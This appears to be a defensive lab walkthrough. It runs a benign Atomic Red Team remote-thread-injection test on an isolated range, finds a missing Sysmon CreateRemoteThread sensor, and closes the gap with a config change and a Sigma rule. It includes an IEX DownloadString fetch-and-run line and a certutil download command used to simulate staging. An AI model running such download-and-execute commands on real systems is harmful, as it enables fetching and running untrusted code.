Hitchhiker's Guide — Observe Injection Telemetry, Find the Gap, Close It

The detection-engineer range walkthrough for Phase 06. On an owned range, run benign Atomic Red Team tests for injection telemetry (T1055 sub-techniques), observe exactly which Sysmon events fire, compare against Lab 01's required-sensor model, identify a gap, and close it with a Sysmon config change + Sigma rule.

Safety (non-negotiable). Everything runs on an isolated, owned range you built. The Atomic Red Team tests are benign telemetry-footprint tests — they simulate the observable footprint of the technique without harmful impact. There is no working shellcode, no live implant, no C2 connection. This exercise is purely defensive: observe the sensors, find the gap, close it.

Table of Contents

0. Authorize and scope

  • Owner: you. All VMs are yours on an isolated network.
  • Scope: lab VMs only; deny-by-default egress.
  • Methods: Atomic Red Team benign tests, Sysmon config changes, Sigma rules. No working implants, no shellcode, no live C2.
  • Data: synthetic. No real credentials or PII in any fixture.
  • Stop: any unexpected egress or any test outside the pre-approved benign list → stop, snapshot.

1. Build the range

        isolated vSwitch (host-only, deny-by-default egress)
       /
  Windows 10/11 VM
  - Sysmon installed (SwiftOnSecurity or Olaf Hartong config)
  - PowerShell 5.1 + Atomic Red Team (Invoke-Atomic)
  - Wazuh / Elastic agent → detection stack SIEM
  (same range as Phase 07 — share the setup)

Snapshot before first test. Roll back after each exercise.

2. Map the sensor inventory (Lab 01 input)

On the endpoint VM, determine which sensors are actually active:

# Is Sysmon running?
Get-Service Sysmon64

# Which event IDs are configured?
# Sysmon.exe -c  (print active config)
# Look for: ProcessCreate(1), ImageLoad(7), CreateRemoteThread(8), ProcessAccess(10)

# Is PowerShell Script Block logging on?
Get-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
    -ErrorAction SilentlyContinue

# Is ETW-TI consumed by your EDR agent?
# Check the EDR's product documentation or look at wbem subscriptions

Build the sensor dict:

sensors = {"sysmon_eid_1", "sysmon_eid_10"}   # example: Sysmon on but EID 8 not configured
# Add "sysmon_eid_7", "sysmon_eid_8", "etw_ti", "kernel_callbacks" as confirmed active

Feed this into Lab 01:

python3 -c "
import solution
sensors = {'sysmon_eid_1', 'sysmon_eid_10'}
techniques = solution.all_technique_names()
cov = solution.coverage(techniques, sensors)
for t, status in cov.items():
    print(f'{t:25s}  {status}')
blind = solution.blind_techniques(techniques, sensors)
print()
print('Blind:', blind)
print('Best to add:', solution.best_sensor_to_add(techniques, sensors))
"

Expected: most techniques are partial (EID 10 covers the OpenProcess step) or blind (reflective_dll requires EID 7 and kernel_callbacks neither of which are in our minimal set).

3. Run a benign T1055 Atomic test and observe the telemetry

Choose one benign test. Read it first; only run pre-approved, benign Atomic tests on your range.

Recommended for this exercise: T1055.003 (Remote Thread) — the most straightforward observable.

# On the range Windows VM:
# Install Atomic Red Team if not already installed (range-only):
# IEX (New-Object Net.WebClient).DownloadString('https://...') — only on isolated range
# Or: Install-Module -Name invoke-atomicredteam

# Run the benign remote thread Atomic test:
Invoke-AtomicTest T1055.003 -TestNumbers 1

This Atomic injects a benign DLL into a process and immediately cleans up. The observable: the CreateRemoteThread call happens and Sysmon EID 8 fires (if configured).

Observe in the event log / SIEM dashboard:

  • Sysmon EID 10: appeared? (OpenProcess with VM_WRITE)
  • Sysmon EID 8: appeared? (CreateRemoteThread)
  • ETW-TI: visible in EDR? (depends on agent)

Write down exactly which EIDs fired. Compare to the expected sensors in Lab 01's catalog for remote_thread:

lab.technique_info("remote_thread")["required_sensors"]
# frozenset({"etw_ti", "sysmon_eid_8", "sysmon_eid_10"})

4. Identify the gap using Lab 01

If EID 8 did not fire (because CreateRemoteThread is not enabled in the Sysmon config), you have found the gap: sysmon_eid_8 is missing from your sensor inventory.

# Update sensors to reflect what actually fired:
sensors_actual = {"sysmon_eid_1", "sysmon_eid_10"}   # EID 8 absent

cov = lab.coverage(["remote_thread"], sensors_actual)
# → {"remote_thread": "partial"} because EID 10 is present but EID 8 is not

The gap is sysmon_eid_8. Lab 01 should confirm this as the best sensor to add for remote_thread.

5. Close the gap: Sysmon config + Sigma rule

Enable Sysmon EID 8 (CreateRemoteThread logging):

<!-- Add to your Sysmon config XML: -->
<RuleGroup name="remote-thread" groupRelation="or">
  <CreateRemoteThread onmatch="include">
    <!-- Log all CreateRemoteThread events by default; exclude known-good pairs -->
    <SourceImage condition="image">CreateRemoteThread</SourceImage>
  </CreateRemoteThread>
  <!-- Exclude known-good: EDR agent, AV, WMI Provider Host doing expected injection -->
  <CreateRemoteThread onmatch="exclude">
    <SourceImage condition="image">MsMpEng.exe</SourceImage>
    <SourceImage condition="image">svchost.exe</SourceImage>
  </CreateRemoteThread>
</RuleGroup>

Reload: Sysmon.exe -c sysmonconfig.xml

Sigma rule for the detection:

title: Remote Thread Injection from User-Space Process
id: b1c2d3e4-f5a6-7890-bcde-f01234567890
status: experimental
description: >
  A process in a user-writable directory created a remote thread in a system process.
  Consistent with remote thread injection (T1055.003) for payload execution.
logsource:
  product: windows
  category: create_remote_thread
detection:
  selection:
    SourceImage|startswith:
      - 'C:\Users\'
      - 'C:\Temp\'
      - 'C:\ProgramData\'
  filter_known_good:
    TargetImage|endswith:
      - '\MsMpEng.exe'
  condition: selection and not filter_known_good
falsepositives:
  - Legitimate injection by some security or monitoring tools; tune by SourceImage.
level: high
tags:
  - attack.privilege_escalation
  - attack.defense_evasion
  - attack.t1055.003

6. Verify the rule fires

After reloading Sysmon:

# Re-run the benign T1055.003 Atomic on your range:
Invoke-AtomicTest T1055.003 -TestNumbers 1

Check:

  1. Sysmon EID 8 now appears in the event log.
  2. The Sigma rule generates an alert in the SIEM (Wazuh/Elastic).
  3. The alert's SourceImage and TargetImage fields match what the Atomic test produced.
  4. Normal activity (running other programs on the VM) does NOT trigger the rule.

Record before/after: remote_thread was partial, now covered after adding sysmon_eid_8.

7. Observe staging telemetry (Lab 02)

To exercise Lab 02, observe a LOLBin download on your range:

# On range VM (isolated, deny-by-default egress — this should FAIL to reach internet,
# but the Sysmon telemetry should fire locally):
Start-Process certutil.exe -ArgumentList "-urlcache", "-split", "-f",
    "http://203.0.113.1/test.txt", "C:\Temp\test.txt" -NoNewWindow

Observe:

  • Sysmon EID 1: certutil.exe process create with the staging keyword in CommandLine.
  • Sysmon EID 3: network connection attempt from certutil.exe (even if blocked by deny-by-default).

Translate the event into the Lab 02 event dict format:

events = [
    {"type": "process_create", "image": "certutil.exe", "parent": "powershell.exe",
     "command_line": "certutil.exe -urlcache -split -f http://203.0.113.1/test.txt C:\\Temp\\test.txt"},
    {"type": "network_connect", "process": "certutil.exe",
     "dest_ip": "203.0.113.1", "dest_port": 80},
]
result = solution.analyze(events)
print(result["strategy"])   # → "lolbin"
print(result["findings"])   # → LOLBin + network findings

The lab confirms the staging strategy and the detection description for each finding.

8. The evidence packet

Collect:

  • The sensor inventory (before and after adding EID 8).
  • Lab 01 coverage output (partial → covered for remote_thread).
  • The Sysmon EID 8 event fired by the benign Atomic.
  • The Sigma rule file.
  • The SIEM alert screenshot.
  • The Lab 02 analysis output for the certutil staging simulation.
  • A narrative: technique, gap, close, verification — observation separated from inference.

This is the Phase 06 portfolio artifact.

9. Teardown

  • Revert VM to clean snapshot.
  • Remove any certutil artifacts written to C:\Temp\.
  • If the range is cloud-based, destroy VMs and verify billing returns to baseline.

Common false claims

"I executed injection against a target." On this range you ran a benign Atomic telemetry test and observed which Sysmon events fired. The honest claim: "I observed the telemetry footprint of the injection technique, identified a sensor gap, and closed it with a Sysmon config change and a Sigma rule verified on a benign test."

"The Sigma rule I wrote covers all injection variants." A single rule covers one technique family's observable. APC injection has no EID 8; reflective DLL has no EID 8 but has an unbacked EID 7. Document which techniques each rule covers and which require additional rules.

"LOLBin downloads are low risk because the binary is signed." The signed binary status is irrelevant to a behavioral detection on command line + network connection. Document the detection you wrote (EID 1 + EID 3 correlation) and note that it fires regardless of signature.